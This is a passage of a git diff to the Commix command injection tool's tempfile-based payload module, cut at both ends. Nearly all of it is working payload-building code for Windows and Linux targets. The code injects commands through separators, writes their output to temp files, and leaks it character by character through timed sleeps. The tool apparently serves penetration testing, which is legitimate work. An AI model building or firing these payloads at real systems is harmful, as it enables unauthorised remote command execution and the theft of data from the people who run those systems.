settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - print(settings.print_output(output)) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) - sys.stdout.write("\n" + settings.print_info_msg(info_msg)) - if not menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) - else: - err_msg = "The '" + cmd + "' command, does not return any output." - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - sys.stdout.write("\r" + settings.print_info_msg(err_msg) + "\n") # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index fa3611a052..f9a6b1d0e0 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -3,18 +3,19 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -from src.thirdparty.six.moves import urllib as _urllib from src.utils import settings +from src.core.injections.controller import checks +from src.thirdparty.six.moves import urllib as _urllib """ The "tempfile-based" technique on Semiblind OS Command Injection. @@ -25,82 +26,64 @@ Tempfile-based decision payload (check if host is vulnerable). """ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : + if settings.TARGET_OS == settings.OS.WINDOWS: + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" - " do if %i==" +str(j) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE + + "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + ) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " - "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" - " do if %i==" +str(j) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " + "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE + + "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass else: - if separator == ";" : + if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + + "fi" + ) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str} " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "} " + separator + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + "sleep " + str(timesec) ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + - pipe + "tr -d '\\n'" + + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + + pipe + "tr -d '\\n'" + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -110,194 +93,153 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print len(file.read().strip())\"" - if separator == "||" : + if settings.TARGET_OS == settings.OS.WINDOWS: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" + if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + " " - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + payload = (pipe + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - else: - if separator == ";" : - payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass - elif separator == "%0a" : - separator = "\n" + else: + if separator == ";" or separator == "%0a" : payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" + ) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + " " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + # Find the length of the output, using readline(). - "[ " + str(j) + " -ne $(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " - ) + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + ) else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", ";") - + payload = checks.payload_newline_fixation(payload) return payload """ Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : + if settings.TARGET_OS == settings.OS.WINDOWS: + if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul" + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + payload = (pipe + + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + + "\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe + + "for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" - "do if %i==" +str(j) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\" " + + "do if %y==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + # Transform to ASCII - pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"') " - "do @set /p =%i>" + OUTPUT_TEXTFILE + "< nul) " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" - ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + pipe + + "for /f \"tokens=*\" %x in ('cmd /c \"" + + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" + ) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul" + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + payload = (ampersand + + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + + "\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand + + "for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" - "do if %i==" +str(j) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\" " + + "do if %y==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + # Transform to ASCII - ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"') " - "do @set /p =%i>" + OUTPUT_TEXTFILE + "< nul) " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + ampersand + + "for /f \"tokens=*\" %x in ('cmd /c \"" + + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) - + else: + pass else: - if separator == ";" : + settings.USER_APPLIED_CMD = cmd + if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + - "echo $str > " + OUTPUT_TEXTFILE + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $" + settings.RANDOM_VAR_GENERATOR + " > " + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " != ${str1} ]" + separator + - "then sleep 0 " + separator + - "else sleep " + str(timesec) + separator + + #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + + # "then sleep 0 " + separator + + "then sleep " + str(timesec) + separator + # Transform to ASCII - "str1=$(od -A n -t d1 < " +OUTPUT_TEXTFILE + ")" + separator + - "echo $str1 > " + OUTPUT_TEXTFILE + separator + - "fi " + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $" + settings.RANDOM_VAR_GENERATOR + "1 > " + OUTPUT_TEXTFILE + separator + + "fi" ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + - "echo $str > " + OUTPUT_TEXTFILE + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " != ${str1} ]" + separator + - "then sleep 0 " + separator + - "else sleep " + str(timesec) + separator + - # Transform to ASCII - "str1=$(od -A n -t d1 < " +OUTPUT_TEXTFILE + ")" + separator + - "echo $str1 > " + OUTPUT_TEXTFILE + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str >" + OUTPUT_TEXTFILE + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $" + settings.RANDOM_VAR_GENERATOR + "" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "[ " + str(j) + " -eq ${str1} ]" + separator + + #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + "sleep " + str(timesec) + separator + # Transform to ASCII - "str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str1 >" + OUTPUT_TEXTFILE + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $" + settings.RANDOM_VAR_GENERATOR + "1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) - - elif separator == "||" : + elif separator == "||" : pipe = "|" + cmd = cmd.rstrip() + cmd = checks.add_command_substitution(cmd) payload = (pipe + - "echo $(" + cmd.rstrip() + ")>" + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ]" + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -307,159 +249,123 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print len(file.read().strip())\"" - if separator == "||" : + if settings.TARGET_OS == settings.OS.WINDOWS: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - cmd + - "') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul " + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + + cmd + + "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - cmd + - "') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul " + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + + cmd + + "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" - ) - else: - if separator == ";" : - payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + - "if [ " + str(j) + " != ${str1} ] " + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - - elif separator == "%0a" : - separator = "\n" + else: + pass + else: + settings.USER_APPLIED_CMD = cmd + if separator == ";" or separator == "%0a" : payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + - "if [ " + str(j) + " != ${str1} ] " + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + 